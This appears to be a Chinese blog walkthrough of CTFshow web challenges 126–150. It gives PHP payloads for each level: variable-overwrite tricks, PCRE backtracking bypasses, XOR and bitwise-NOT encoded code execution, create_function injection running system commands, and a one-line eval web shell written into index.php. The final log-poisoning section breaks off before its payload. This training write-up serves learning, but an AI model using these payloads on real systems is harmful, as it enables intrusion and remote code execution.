ctfshow web入门126~150

  • ~5.12K 字
  1. 1. web126
  2. 2. web127
  3. 3. web128
  4. 4. web129
  5. 5. web130
  6. 6. web131
  7. 7. web132
  8. 8. web134
  9. 9. web136
  10. 10. web137
  11. 11. web138
  12. 12. web139
  13. 13. web140
  14. 14. web141
  15. 15. web142
  16. 16. web143
  17. 17. web144
  18. 18. web145
  19. 19. web146
  20. 20. web147
  21. 21. web148
  22. 22. web149
  23. 23. web150

web126

与web125差不多

1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

绕过方式和web123一样。
payload:

1
?ctf show=ilove36d

web128


考察点:gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
payload:

1
?f1=_&f2=get_defined_vars

web129

1
2
stripos(string,find,start)
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。注释:字符串位置从0开始,不是从1开始

看别人的wp绕过的姿势有很多啊,但是怎么一到我这里就失灵了啊。只能用php伪协议
payload:

1
?f=php://filter/|ctfshow/resource=flag.php   #也可以用其他的过滤器

web130


PHP利用PCRE回溯次数限制绕过某些安全限制

1
2
3
4
5
6
7
8
import requests

url='#url'
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

或者
数组绕过

1
f[]=1   #stripos应用于数组的时候会返回null,null!==false

或者

1
f=ctfshow

/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。

web131

1
2
3
4
5
6
7
8
import requests

url='#url'
data={
'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

web132


一打开网站我都惊呆了,好高级的感觉。然后访问robots.txt有/admin访问就能看到源码。

啊~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这一题好简单啊。

1
$code === mt_rand(1,0x36D) && $password === $flag

只要让这个为false,username=admin和code=admin就行
payload:

1
?username=admin&code=admin&password=1

web134


parse_str()函数

1
把查询字符解析到变量

ectract()函数

1
从数组中将变量导入当前的符号表
1
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
四个变量的介绍:

1.$_SERVER["QUERY_STRING"]

说明:查询(query)的字符串

2.$_SERVER["REQUEST_URI"]

说明:访问此页面所需的URI
  
3.$_SERVER["SCRIPT_NAME"]

说明:包含当前脚本的路径
  
4.$_SERVER["PHP_SELF"]

例如

1
2
3
4
5
6
7
8
9
http://www.xxx.com/?p=222 (附带查询)
结果:
$_SERVER["QUERY_STRING"]==>“p=222”;

$_SERVER["REQUEST_URI"] ==>"/?p=222";

$_SERVER["SCRIPT_NAME"] ==>"/index.php";

$_SERVER["PHP_SELF"] ==>"/index.php";

payload:

1
?_POST[key1]=36d&_POST[key2]=36d

web136


跟着大佬学到了好多啊
在linux里可以用tee命令读取标准输入的数据,并将其内容输出成文件
payload:

1
2
?c=ls /|tee 1 #把根目录里的内容写进1文件里
?c=tac /f149_15_h3r3|tee 2

web137

1
call_user_func — 把第一个参数作为回调函数调用

考察调用类中的函数

1
2
3
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

payload:

1
POST:ctfshow=ctfshow::getFlag

web138


相当于把冒号禁用了,但是call_user_func还可以传数组
第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
payload:

1
POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

太难了,脚本看不懂,以后有机会了再做

web140


可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(‘.’)==0 intval(‘/‘)==0
所以方法就挺多了

payload:

1
f1=chr&f2=chr

我感觉随便搞一点函数放上去都可以。

web141


传入的v3必须是非单词字符
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
payload:

1
?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-

web142


emmmmmmmmmmmm,让我太奶来都会做
payload:

1
?v1=0

web143

1
?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144


对v3的长度进行了限制,所以在v2上下手
payload:

1
?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1

web145


可以用三目运算符

1
eval("return 1?phpinfo():1;"); #这是可以运行的

payload:

1
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web146

过滤了:没办法用三目运算符,可以用等号和位运算符\

1
eval("return 1==phpinfo()||1;");  #这也可以运行

payload:

1
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||

web147


具体原理看这个

1
2
3
4
5
6
7
create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

payload:

1
2
GET:?show=}system("tac flag.php");/*
POST:ctf=\create_function

web148


没过滤异或还可以用异或
payload:

1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

web149


预期解是条件竞争,可是我搞了半天也不行,就直接在index.php里改了
payload:

1
2
GET: ?ctf=index.php
POST: show=<?php @eval($_POST[a];)?>

然后用蚁剑连接。

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

非预期
日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为

赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!